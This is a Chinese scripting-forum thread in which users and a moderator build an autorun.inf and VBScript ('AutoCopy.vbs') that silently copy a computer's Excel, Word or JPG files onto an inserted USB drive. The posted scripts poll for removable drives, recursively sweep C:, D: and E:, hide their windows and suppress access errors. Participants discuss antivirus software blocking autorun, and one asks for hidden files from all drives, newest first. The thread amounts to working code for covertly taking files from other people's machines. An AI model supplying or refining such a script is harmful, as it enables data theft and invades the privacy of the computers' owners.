[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[问题求助] VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件?

按以下代码会出现,只复制U盘里所有XLS格式的文件,怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。

以下是autorun.inf文件的代码:
  1. [autorun]
  2. open=wscript.exe CopyExcelFile.vbs
  3. shell\open=打开(&O)
  4. shell\open\command=wscript.exe CopyExcelFile.vbs
复制代码
以下是GetExcelFile.vbs文件的代码:
  1. set ws=createobject("wscript.shell")
  2. ws.run "explorer ..\"
  3. ws.run "cmd /c md GetExcelFile",0,true
  4. ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
  5. ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
  6. ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
  7. ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
复制代码

做个标记,谢谢broly版主的分享!

TOP

任务管理器  结束wscript.exe进程

QQ 20147578

TOP

回复 28# broly


    老师,我电脑里东西很多,我运行了一会想让它停下来,怎么办呢?

TOP

老师,我电脑里东西很多,我运行了一会想让它停下来,怎么办呢?

TOP

本帖最后由 longmao 于 2012-5-27 17:31 编辑

回复 33# broly

谢谢版主大神的回复~
当然最好是监控系统,一插入U盘就自动复制了,但是这种方式是一般来说都是会被杀毒软件直接干掉的。。。
自动复制还是那个autorun.inf  的方法吧。


所以俺想双击运行就成了 。

我也用批处理弄过,今天也发了个贴在代码求助里,请大神能移步这个帖子看看~

http://bbs.bathome.net/viewthrea ... p;page=1&extra=

大神如果能用批处理解决,那就不再麻烦大神用VBS了,能高效解决问题好~

TOP

回复 32# longmao


    那个要求跟你这个要求是不一样的,当然不能满足你的需求。
    是要监控系统,一插入U盘就自动复制。还是你自己按照需要手动运行,然后自动复制?
    需要高效率,可以用批处理。
    另外,你重开一帖子吧,我在新的帖子里回复
---学无止境---

TOP

回复 30# broly


    大神您好,专门看了这篇帖子才跑来注册问您问题的。

我使用了这个VBS,只不过想复制的类型是DOC的(我只是把代码里的jpg改成了doc,同时取消了文件大小的验证)。使用中出现如下问题:
1.只能复制一部分文件,很大一部分文件木有复制成功,同时系统隐藏的文件似乎木有复制成功
2.代码执行效率有些低,我把循环改成30毫秒执行一次,还是效率低,差不多5分钟左右完成搜索复制了198个文档。
3.复制完成后一直占有系统资源,循环等待中。

需要的帮助是:

1.希望能够实现复制硬盘中的doc和docx格式的全部文件,包括隐藏了的文件和在系统隐藏文件后缀名称后依然有用。
2.搜索电脑的全部磁盘进行复制,不限于C\D\E\F盘,因为有的人盘符命名比较奇怪,会出来Q盘之类的硬盘盘符。
3.最好能够按照文件修改时间进行复制,优先复制最近修改的文件。
4.搜索复制完成后释放系统资源,但是在搜索复制时可以多用一些系统资源以提高搜索复制效率。

如能解答,感激不尽~谢谢大神~

TOP

多谢版主的帮忙,在此感谢,问题总是有的,不过经过版主的这次修改,已经很完美了。多谢多谢。

TOP

坑爹啊,就不能一次性把需求说清楚吗?
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.           If Err.Number=0 Then
  32.             If fso.GetExtensionName(File.path)="jpg" And _
  33.              fso.GetFile(File.path).Size>100*1024 Then
  34.               fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.             End If
  36.         Else
  37.                 Err.Clear
  38.         End If
  39.   Next
  40.   For Each subfolder In subfolders
  41.       CopyJpgs(subfolder.path) '递归查找子目录
  42.   Next
  43. End Sub
复制代码
---学无止境---

TOP

这下好了,不过还有个小问题,能否再定义一下只复制大于100KB的JPG图片。多谢了。版主真是厉害。

TOP

回复 25# lyzhangzj


    我知道什么原因了。C盘有些文件夹VBS是不能访问的,其他盘的可以访问,所以说提示出错了。那些不够访问权限的,我把它屏蔽了。
至于自动运行的,我还没想到什么好方法。因为自动运行的功能,杀毒软件一向很注意防护的
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.    If Err.Number=0 Then
  32.     If fso.GetExtensionName(File.path)="jpg" Then
  33.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  34.     End If
  35. Else
  36. Err.Clear
  37. End If
  38.   Next
  39.   For Each subfolder In subfolders
  40.       CopyJpgs(subfolder.path) '递归查找子目录
  41.   Next
  42. End Sub
复制代码
---学无止境---

TOP

嗯,好的,多谢了。

TOP

我晚点再看看吧。现在用手机上线
---学无止境---

TOP

本帖最后由 lyzhangzj 于 2011-11-22 14:28 编辑

喔,这样可以了,不过运行的时候还是会出现32行第7个字符,错误:没有权限。还有30行,字符:3,错误:没有权限

TOP

返回列表